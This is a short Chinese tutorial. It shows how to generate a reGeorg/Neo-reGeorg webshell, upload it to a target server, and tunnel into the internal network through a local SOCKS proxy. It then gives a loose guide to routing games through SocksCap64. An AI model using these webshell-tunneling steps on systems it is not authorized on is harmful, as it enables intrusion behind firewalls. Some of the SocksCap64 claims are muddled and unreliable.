reGeorg是一款常用的内网代理工具,主要用于穿透防火墙,实现内外网通信。以下是reGeorg工具的一些常见命令及使用示例:
常见命令
- 生成webshell
py -3 neoreg.py generate -k [密码]
示例:
py -3 neoreg.py generate -k shy
- 上传webshell 将生成的webshell上传到目标服务器。
- 启动代理
py -3 neoreg.py -k [密码] -u [webshell地址] -p [本地监听端口]
示例:
py -3 neoreg.py -k shy -u http://example.com/tunnel.php -p 4444
- 测试代理 使用
curl
测试代理是否成功。
curl -x socks5h://127.0.0.1:4444 http://example.com
使用示例
- 生成webshell
py -3 neoreg.py generate -k shy
生成的webshell会保存在当前目录下。
- 上传webshell 将生成的webshell上传到目标服务器的web根目录下。
- 启动代理
py -3 neoreg.py -k shy -u http://example.com/tunnel.php -p 4444
这里假设目标服务器的webshell地址是http://example.com/tunnel.php
,本地监听端口是4444
。
- 测试代理 使用
curl
测试代理是否成功。
curl -x socks5h://127.0.0.1:4444 http://example.com
如果能够正常访问http://example.com
,则说明代理成功。
注意事项
- 确保目标服务器支持PHP或其他脚本语言,并且具有执行权限。
- 确保本地环境已安装Python及相关依赖库。
- 代理端口需要与webshell中的配置一致。
通过以上步骤,你可以使用reGeorg工具实现内外网通信,进行内网穿透和渗投测试。
SocksCap64
SocksCap64是一款用于将任意应用程序通过代理服务器进行网络连接的软件。以下是一些SocksCap64的使用方法及示例:
- 下载并安装SocksCap64:
- 访问官方网站或其他可信的下载源,下载SocksCap64的安装包。
- 安装过程中,可以选择创建桌面快捷方式以便后续使用。
- 打开SocksCap64:
- 双击桌面上的SocksCap64快捷方式,或者在开始菜单中找到并启动SocksCap64。
- 添加代理服务器:
- 在SocksCap64主界面中,点击“代理”菜单,然后选择“代理管理器”。
- 在弹出的窗口中,点击“+”号按钮添加新的代理服务器。
- 输入代理服务器的IP地址和端口号,选择代理类型(如SOCKS5),并保存设置。
- 添加应用程序:
- 在SocksCap64主界面中,点击“程序”菜单,然后选择“程序管理器”。
- 在弹出的窗口中,点击“+”号按钮添加新的应用程序。
- 浏览并选择你想要通过代理服务器运行的应用程序可执行文件(如Steam、LOL等游戏的.exe文件)。
- 保存设置,并确保应用程序的路径和参数正确。
- 启动参数设置:
- 在程序管理器中,选择你刚刚添加的应用程序,然后点击“编辑”按钮。
- 在启动参数一栏中,可以根据需要填写特定的参数,例如“-steam-udp”来优化Steam的游戏体验。
- 保存设置。
- 运行应用程序:
- 在SocksCap64主界面中,右键点击你想要使用代理的应用程序,然后选择“在代理隧道中运行选中程序”。
- 应用程序将以代理服务器的身份运行,从而减少延迟或绕过地理限制。
- 测试代理效果:
- 通过运行添加的应用程序,检查代理服务器的效果,包括连接速度、稳定性等。
- 如果遇到问题,可以尝试调整代理服务器的设置或选择不同的代理服务器。
示例:假设你需要通过SocksCap64代理Steam游戏平台,以减少延迟和提高连接质量。
- 添加Steam应用程序:
- 在程序管理器中,点击“+”号按钮,浏览并选择Steam的可执行文件(Steam.exe)。
- 保存设置。
- 设置启动参数:
- 选择刚刚添加的Steam应用程序,点击“编辑”按钮,在启动参数中填写“-steam-udp”。
- 保存设置。
- 运行Steam:
- 右键点击Steam应用程序,选择“在代理隧道中运行选中程序”。
- Steam将以代理服务器的身份运行,从而优化游戏体验。